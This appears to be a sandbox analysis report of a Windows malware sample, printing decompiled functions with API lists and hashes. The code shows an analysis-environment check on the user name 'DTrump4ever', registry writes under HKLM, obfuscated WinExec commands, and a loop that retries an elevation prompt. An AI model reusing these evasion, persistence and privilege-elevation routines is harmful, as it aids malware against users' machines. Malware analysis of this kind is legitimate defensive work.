              • Instruction Fuzzy Hash: 68513DB5E40318AFDB10DBA4CC44FAEB7BDEF88714F144499FA09EB240DA71E9058B60
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 53%
              			E02354893(void* __eflags) {
              				signed int _v8;
              				long _v12;
              				char _v16;
              				short _v20;
              				char _v44;
              				char _v45;
              				char _v84;
              				short _v88;
              				char _v112;
              				short _v116;
              				char _v144;
              				short _v146;
              				short _v148;
              				char _v208;
              				char _v224;
              				short _v226;
              				char _v256;
              				short _v258;
              				char _v288;
              				short _v290;
              				char _v388;
              				short _v390;
              				char _v496;
              				short _v1020;
              				signed int _t69;
              				signed int _t85;
              				signed int _t92;
              				signed int _t97;
              				signed int _t113;
              				signed int _t123;
              				char* _t125;
              				signed int _t128;
              				signed int _t138;
              				signed int _t143;
              				void* _t146;
              				void* _t147;
              				void* _t153;
              				signed int _t154;
              				signed int _t155;
              
              				_t143 = E02355A21();
              				E02355B02();
              				asm("sbb esi, esi");
              				_t155 =  ~_t154;
              				if(GetSystemMetrics(0x43) != 0) {
              					L17:
              					__eflags = 1;
              					return 1;
              				}
              				_v12 = 0x104;
              				if(GetUserNameW( &_v1020,  &_v12) != 0) {
              					_t69 = E02357ACC(0x600,  &_v1020, L"DTrump4ever");
              					_pop(_t146);
              					__eflags = _t69;
              					if(_t69 == 0) {
              						goto L2;
              					}
              					E02356595(0x2361278, 0x65f, 8, 0x6a,  &_v496);
              					_v390 = 0;
              					E02356595(0x2361278, 0x2de, 5, 0x1e,  &_v288);
              					_v258 = 0;
              					E02356595(0x2361278, 0xb54, 0xc, 0x1e,  &_v256);
              					_v226 = 0;
              					E02356595(0x2361278, 0x11f5, 0xa, 0x1c,  &_v144);
              					_v116 = 0;
              					_t85 = E02354BED(_t146, 0x80000002,  &_v496,  &_v144, 1, "1", 4);
              					__eflags = _t85;
              					if(_t85 == 0) {
              						goto L2;
              					}
              					_t92 = E02354BED(_t146, 0x80000002,  &_v496,  &_v256, 1,  &_v1020, 2 + E02356A03( &_v1020) * 2);
              					__eflags = _t92;
              					if(_t92 == 0) {
              						goto L2;
              					}
              					_t97 = E02354BED(_t146, 0x80000002,  &_v496,  &_v288, 1, L"DTrump4ever", 2 + E02356A03(L"DTrump4ever") * 2);
              					__eflags = _t97;
              					if(_t97 == 0) {
              						goto L2;
              					}
              					_t153 = E02355718(0,  &_v8);
              					E02356595(0x2361278, 0x839, 0xa, 0x62,  &_v388);
              					_v290 = 0;
              					E02356595(0x2361278, 0x3fb, 6, 0x18,  &_v112);
              					_v88 = 0;
              					E02356595(0x2361278, 0x122d, 8, 0x18,  &_v44);
              					_v20 = 0;
              					_t113 = E02355D32(_t146, 0x80000002,  &_v388,  &_v112, 1, _t153, 2 + _v8 * 2);
              					_push(_t153);
              					__eflags = _t113;
              					if(_t113 != 0) {
              						E023551C1();
              						_pop(_t147);
              						__eflags = _t143;
              						if(_t143 != 0) {
              							E02356380( &_v16);
              							_pop(_t147);
              						}
              						__eflags = _t155;
              						_push( &_v84);
              						_push(0x27);
              						if(_t155 == 0) {
              							_push(4);
              							_push(0x314);
              							_push(0x2361278);
              							E02356595();
              							_v45 = 0;
              							WinExec( &_v84, 5);
              							E02356595(0x2361278, 0x75c, 0x10, 0x4e,  &_v224);
              							_v146 = 0;
              							_t123 = E02356A03( &_v224);
              							_v8 = _t123;
              							_push(2 + _t123 * 2);
              							_t125 =  &_v224;
              						} else {
              							_push(0xe);
              							_push(0x38b);
              							_push(0x2361278);
              							E02356595();
              							_v45 = 0;
              							WinExec( &_v84, 5);
              							E02356595(0x2361278, 0x1ed, 0xb, 0x3c,  &_v208);
              							__eflags = 0;
              							_v148 = 0;
              							_t138 = E02356A03( &_v208);
              							_v8 = _t138;
              							_push(2 + _t138 * 2);
              							_t125 =  &_v208;
              						}
              						_push(_t125);
              						_push(1);
              						_push( &_v44);
              						_push( &_v388);
              						_push(0x80000002);
              						_t128 = E02354BED(_t147);
              						__eflags = _t128;
              						if(_t128 == 0) {
              							goto L2;
              						} else {
              							__eflags = _t143;
              							if(__eflags != 0) {
              								E023563A2(_v16);
              								_pop(_t147);
              							}
              							E02355C85(_t147, __eflags, 1);
              							goto L17;
              						}
              					}
              					E023551C1();
              				}
              				L2:
              				return 0;
              			}










































              0x023548a4
              0x023548a6
              0x023548b5
              0x023548b7
              0x023548c1
              0x02354b82
              0x02354b84
              0x00000000
              0x02354b84
              0x023548ca
              0x023548e1
              0x023548f6
              0x023548fc
              0x023548fd
              0x023548ff
              0x00000000
              0x00000000
              0x02354917
              0x0235491e
              0x02354936
              0x0235493d
              0x02354955
              0x0235495c
              0x02354974
              0x0235497e
              0x0235499f
              0x023549a7
              0x023549a9
              0x00000000
              0x00000000
              0x023549db
              0x023549e3
              0x023549e5
              0x00000000
              0x00000000
              0x02354a14
              0x02354a1c
              0x02354a1e
              0x00000000
              0x00000000
              0x02354a2f
              0x02354a46
              0x02354a4d
              0x02354a66
              0x02354a6d
              0x02354a83
              0x02354a8d
              0x02354aaf
              0x02354ab7
              0x02354ab8
              0x02354aba
              0x02354ac7
              0x02354acc
              0x02354acd
              0x02354acf
              0x02354ad5
              0x02354ada
              0x02354ada
              0x02354ade
              0x02354ae0
              0x02354ae1
              0x02354ae8
              0x02354b8c
              0x02354b8e
              0x02354b93
              0x02354b94
              0x02354b9c
              0x02354ba6
              0x02354bbd
              0x02354bc4
              0x02354bd2
              0x02354bd7
              0x02354be1
              0x02354be2
              0x02354aee
              0x02354aee
              0x02354af0
              0x02354af5
              0x02354af6
              0x02354afe
              0x02354b08
              0x02354b1f
              0x02354b24
              0x02354b26
              0x02354b34
              0x02354b39
              0x02354b43
              0x02354b44
              0x02354b44
              0x02354b4a
              0x02354b4b
              0x02354b50
              0x02354b57
              0x02354b58
              0x02354b5d
              0x02354b65
              0x02354b67
              0x00000000
              0x02354b6d
              0x02354b6d
              0x02354b6f
              0x02354b74
              0x02354b79
              0x02354b79
              0x02354b7c
              0x00000000
              0x02354b81
              0x02354b67
              0x02354abc
              0x02354ac1
              0x023548e3
              0x00000000

              APIs
                • Part of subcall function 02355A21: GetNativeSystemInfo.KERNELBASE(?,?,?,?,02351ADF,00000000,00000000,?,00000000,?), ref: 02355A2B
              • GetSystemMetrics.USER32(00000043), ref: 023548B9
              • GetUserNameW.ADVAPI32(?,?), ref: 023548D9
              • WinExec.KERNEL32(?,00000005), ref: 02354BA6
                • Part of subcall function 02354BED: RegCreateKeyExW.ADVAPI32(0235E0E4,00000001,00000000,00000000,00000000,00000102,00000000,00000004,00000000,?,?,?,023549A4,80000002,?,?), ref: 02354C08
                • Part of subcall function 02354BED: RegSetValueExW.ADVAPI32(00000004,?,00000000,?,80000002,023549A4,?,?,?,023549A4,80000002,?,?,00000001,0235E0E4,00000004), ref: 02354C22
                • Part of subcall function 02354BED: RegCloseKey.ADVAPI32(00000004,?,?,?,023549A4,80000002,?,?,00000001,0235E0E4,00000004), ref: 02354C33
              • WinExec.KERNEL32(?,00000005), ref: 02354B08
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: ExecSystem$CloseCreateInfoMetricsNameNativeUserValue
              • String ID: DTrump4ever
              • API String ID: 1335868537-3370855319
              • Opcode ID: 187b7b166576e1f2c1e7e4985ac37407e9d6b06811e80869f89d8849ddac9b4f
              • Instruction ID: c9b8a7b313c42b5ee5d1f211a2a4502c676bb2d14ea1886f7eff22d81f4e7a6b
              • Opcode Fuzzy Hash: 187b7b166576e1f2c1e7e4985ac37407e9d6b06811e80869f89d8849ddac9b4f
              • Instruction Fuzzy Hash: D7915671A8026D6AEB25DAA0CC46FEF73BD9B44700F404466FB0CE6181EAB497548F61
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02357D2B() {
              				char _v8;
              				short _v10;
              				char _v20;
              				struct _SHELLEXECUTEINFOW _v80;
              				void* __esi;
              				void* _t22;
              				intOrPtr _t26;
              				void* _t35;
              				void* _t48;
              				intOrPtr _t49;
              
              				_t48 = GetCurrentProcess();
              				_t22 = E02355B02();
              				if(_t22 >= 0x600) {
              					_t22 = E02357AF7(_t48);
              					if(_t22 == 3) {
              						_t22 = E02357B40(_t48, _t48);
              						if(_t22 < 0x3000) {
              							E02355D82();
              							_t49 = E02355718(0,  &_v8);
              							if(_t49 == 0) {
              								E023554AF(0);
              							}
              							_t26 = E02355A53();
              							_t46 = _t26;
              							E02356595(0x23628c0, 0x453, 0xe, 0xa,  &_v20);
              							_v80.cbSize = 0x3c;
              							_v80.fMask = 0;
              							_v10 = 0;
              							_v80.hwnd = GetForegroundWindow();
              							_v80.lpVerb =  &_v20;
              							_v80.lpFile = _t49;
              							_v80.lpParameters = _t26;
              							_v80.lpDirectory = 0;
              							_v80.nShow = 1;
              							_v80.hInstApp = 0;
              							_v80.lpIDList = 0;
              							_v80.lpClass = 0;
              							_v80.hkeyClass = 0;
              							_v80.dwHotKey = 0;
              							_v80.hIcon = 0;
              							_v80.hProcess = 0;
              							do {
              							} while (ShellExecuteExW( &_v80) == 0);
              							E023551C1(_t49);
              							_t35 = E023551C1(_t46);
              							E023554AF(0);
              							return _t35;
              						}
              					}
              				}
              				return _t22;
              			}













              0x02357d37
              0x02357d39
              0x02357d46
              0x02357d4d
              0x02357d56
              0x02357d5d
              0x02357d68
              0x02357d70
              0x02357d81
              0x02357d87
              0x02357d8a
              0x02357d8f
              0x02357d90
              0x02357d95
              0x02357da9
              0x02357db1
              0x02357dba
              0x02357dbd
              0x02357dc7
              0x02357dcd
              0x02357dd0
              0x02357dd3
              0x02357dd6
              0x02357dd9
              0x02357de0
              0x02357de3
              0x02357de6
              0x02357de9
              0x02357dec
              0x02357def
              0x02357df2
              0x02357df5
              0x02357dff
              0x02357e04
              0x02357e0a
              0x02357e10
              0x00000000
              0x02357e19
              0x02357d68
              0x02357d56
              0x02357e1e

              APIs
              • GetCurrentProcess.KERNEL32 ref: 02357D32
                • Part of subcall function 02357AF7: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,02357D52,00000000), ref: 02357B0A
                • Part of subcall function 02357AF7: GetTokenInformation.ADVAPI32(?,00000012(TokenIntegrityLevel),00000000,00000004,?), ref: 02357B23
                • Part of subcall function 02357B40: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 02357B52
                • Part of subcall function 02357B40: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,0000004C,00000000), ref: 02357B6B
                • Part of subcall function 02357B40: IsValidSid.ADVAPI32(?,00000000), ref: 02357B7A
                • Part of subcall function 02355D82: ReleaseMutex.KERNEL32(02357D75), ref: 02355D88
                • Part of subcall function 02355718: GetModuleFileNameW.KERNEL32(02353E14,00000000,00000106,00000000,?,?,?,023530E4,00000000,02353E14), ref: 0235573C
              • GetForegroundWindow.USER32 ref: 02357DC1
              • ShellExecuteExW.SHELL32(0000003C), ref: 02357DF9
                • Part of subcall function 023554AF: ExitProcess.KERNEL32 ref: 023554B5
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: ProcessToken$InformationOpen$CurrentExecuteExitFileForegroundModuleMutexNameReleaseShellValidWindow
              • String ID: <
              • API String ID: 227555697-4251816714
              • Opcode ID: 9622ddd6e254483439c19bba906141e6020058d6c612635a60fbd8ddd7bf4428
              • Instruction ID: b7d8d2d0b79b33d9a6b9558a46f1662ed4883c791aa8af977dba1dbe64d1fe55
              • Opcode Fuzzy Hash: 9622ddd6e254483439c19bba906141e6020058d6c612635a60fbd8ddd7bf4428
              • Instruction Fuzzy Hash: 382153B1D003285ADB20AFA5D885EEEFBBDBF04350F50442EEC09B6240EB7456018F55
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 37%
              			E02352E57(intOrPtr _a4, intOrPtr* _a8) {
              				short _v8;
              				char _v20;
              				intOrPtr _v28;
              				char _v36;
              				short _v38;
              				char _v60;
              				char* _t20;
              				intOrPtr* _t24;
              				intOrPtr* _t29;
              				void* _t37;
              				char* _t38;
              
              				__imp__#8( &_v36);
              				E02356595(0x2361278, 0x27f, 8, 0x16,  &_v60);
              				_v38 = 0;
              				_t20 =  &_v60;
              				__imp__#2(_t20);
              				_t38 = _t20;
              				E02356595(0x2361278, 0x4ac, 8, 0xc,  &_v20);
              				_v8 = 0;
              				_t24 = _a8;
              				_t37 =  *((intOrPtr*)( *_t24 + 0x10))(_t24,  &_v20, 0,  &_v36, 0, 0);
              				if(_t37 >= 0) {
              					_t29 =  *((intOrPtr*)(_a4 + 0xc));
              					_t37 =  *((intOrPtr*)( *_t29 + 0x60))(_t29, _v28, _t38, 0, 0, 0, 0, 0);
              				}
              				__imp__#9( &_v36);
              				if(_t38 != 0) {
              					__imp__#6(_t38);
              				}
              				return _t37;
              			}














              0x02352e64
              0x02352e7d
              0x02352e87
              0x02352e8b
              0x02352e8f
              0x02352e95
              0x02352ea5
              0x02352eb4
              0x02352eb8
              0x02352ec9
              0x02352ecd
              0x02352ed5
              0x02352ee4
              0x02352ee4
              0x02352eea
              0x02352ef2
              0x02352ef5
              0x02352ef5
              0x02352f03

              APIs
              • VariantInit.OLEAUT32(?), ref: 02352E64
              • SysAllocString.OLEAUT32(?), ref: 02352E8F
              • VariantClear.OLEAUT32(?), ref: 02352EEA
              • SysFreeString.OLEAUT32(00000000), ref: 02352EF5
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: StringVariant$AllocClearFreeInit
              • String ID:
              • API String ID: 760788290-0
              • Opcode ID: 24ffeb277a0feb25d8aef26fc1d9cbf0d8c23ec4729b79212fba7d4e9a1677ef
              • Instruction ID: f7d343020d92c8da879b662a9b54fe21814093ed1d419fcab38843b3fec2991f
              • Opcode Fuzzy Hash: 24ffeb277a0feb25d8aef26fc1d9cbf0d8c23ec4729b79212fba7d4e9a1677ef
              • Instruction Fuzzy Hash: D9214DB6A40218BFDB109AA4CC89EEB77BDEF48755F044555FA09EB240E634A9058B70
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023552E0(void* __ecx, long _a4) {
              				long _v8;
              				void* _t6;
              				void* _t13;
              
              				_v8 = _v8 & 0x00000000;
              				_t6 = OpenProcess(0x400, 0, _a4);
              				_t13 = _t6;
              				if(_t13 != 0) {
              					do {
              						GetExitCodeProcess(_t13,  &_v8);
              						Sleep(0x3e8);
              					} while (_v8 == 0x103);
              					CloseHandle(_t13);
              					_t6 = 1;
              				}
              				return _t6;
              			}






              0x023552e4
              0x023552f3
              0x023552f9
              0x023552fd
              0x023552ff
              0x02355304
              0x0235530f
              0x02355315
              0x0235531f
              0x02355327
              0x02355327
              0x0235532c

              APIs
              • OpenProcess.KERNEL32(00000400,00000000,0235630F,?,?,?,0235630F), ref: 023552F3
              • GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 02355304
              • Sleep.KERNEL32(000003E8,?,?,0235630F), ref: 0235530F
              • CloseHandle.KERNEL32(00000000,?,?,0235630F), ref: 0235531F
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Process$CloseCodeExitHandleOpenSleep
              • String ID:
              • API String ID: 126888380-0
              • Opcode ID: 38d61081404c0c90cd0d10f47d6986756948d59d2ca664143c15f0ca83178a79
              • Instruction ID: a6214c159b9a91a65ef441239703ace8ebdb91525d19b851d437efd1f5d85642
              • Opcode Fuzzy Hash: 38d61081404c0c90cd0d10f47d6986756948d59d2ca664143c15f0ca83178a79
              • Instruction Fuzzy Hash: 69E0EDB2882228BBD3119B94EC0DF9E7A6CEF0471AF414950FE09A2080CBB05A1087A5
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 93%
              			E0235337C(intOrPtr _a4, intOrPtr _a8) {
              				short _v6;
              				char _v12;
              				short _v14;
              				char _v40;
              				short _v42;
              				char _v80;
              				signed int _t29;
              				signed int _t34;
              				signed int _t40;
              				WCHAR* _t53;
              
              				if( *0x23635cc != 0) {
              					return 1;
              				}
              				_t67 = _a8;
              				if(_a8 != 0) {
              					E0235684A(_a4);
              					E0235684A(_t67);
              					if( *0x2363058 != 0) {
              						L9:
              						E02356595(0x2361278, 0xb8d, 0xd, 0x1a,  &_v40);
              						_v14 = 0;
              						E02356595(0x2361278, 0xd02, 7, 0x26,  &_v80);
              						_v42 = 0;
              						if(E023568F9(_t67,  &_v40) == 0 || E023568F9(_t67,  &_v80) == 0) {
              							_t29 = 1;
              						} else {
              							if(E02356A69(_a4,  &_v40) == 0) {
              								_t34 = E02356C75(0x2363554, _t67);
              								asm("sbb eax, eax");
              								_t29 =  ~_t34 + 1;
              							} else {
              								E02356595(0x2361278, 0x263, 0xa, 6,  &_v12);
              								_v6 = 0;
              								_t40 = E02356A69(_a4,  &_v12);
              								asm("sbb eax, eax");
              								_t29 =  ~( ~_t40);
              							}
              						}
              						L15:
              						L16:
              						return _t29;
              					}
              					_t53 = L"\\\\?\\c:\\windows\\";
              					if( *0x236305c == 0) {
              						GetWindowsDirectoryW(E02356A03(_t53) * 2 + L"\\\\?\\c:\\windows\\", 0x104);
              						PathAddBackslashW(_t53);
              						E0235684A(_t53);
              						 *0x236305c = 1;
              					}
              					_t29 = E023568F9(_t53, _a4);
              					if(_t29 != 0) {
              						goto L9;
              					} else {
              						 *0x2363058 = 1;
              						goto L15;
              					}
              				}
              				_t29 = 1;
              				goto L16;
              			}













              0x02353389
              0x00000000
              0x0235338d
              0x02353394
              0x02353399
              0x023533a7
              0x023533ad
              0x023533bb
              0x0235341b
              0x0235342e
              0x02353435
              0x02353447
              0x0235344e
              0x02353461
              0x023534cb
              0x02353473
              0x02353483
              0x023534bb
              0x023534c3
              0x023534c6
              0x02353485
              0x02353493
              0x0235349a
              0x023534a5
              0x023534af
              0x023534b1
              0x023534b1
              0x02353483
              0x023534cc
              0x023534cd
              0x00000000
              0x023534cd
              0x023533c4
              0x023533c9
              0x023533df
              0x023533e6
              0x023533ed
              0x023533f3
              0x023533f3
              0x02353401
              0x0235340a
              0x00000000
              0x0235340c
              0x0235340c
              0x00000000
              0x0235340c
              0x0235340a
              0x0235339d
              0x00000000

              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID: \\?\c:\windows\
              • API String ID: 0-2558258126
              • Opcode ID: ca01c57dcdf8da5df1af195720634e4548a27e603686403d9c0ee1b2cfcead56
              • Instruction ID: 534063202db4f26cedaad2719fbca5b827d194240ee857feb3677184bd2ac4d1
              • Opcode Fuzzy Hash: ca01c57dcdf8da5df1af195720634e4548a27e603686403d9c0ee1b2cfcead56
              • Instruction Fuzzy Hash: 19310AF1A94229BAEB219A70DC46FAE33ADDF04754F4084A6FD0ED6080EB75D5548F60
              Uniqueness

              Uniqueness Score: -1.00%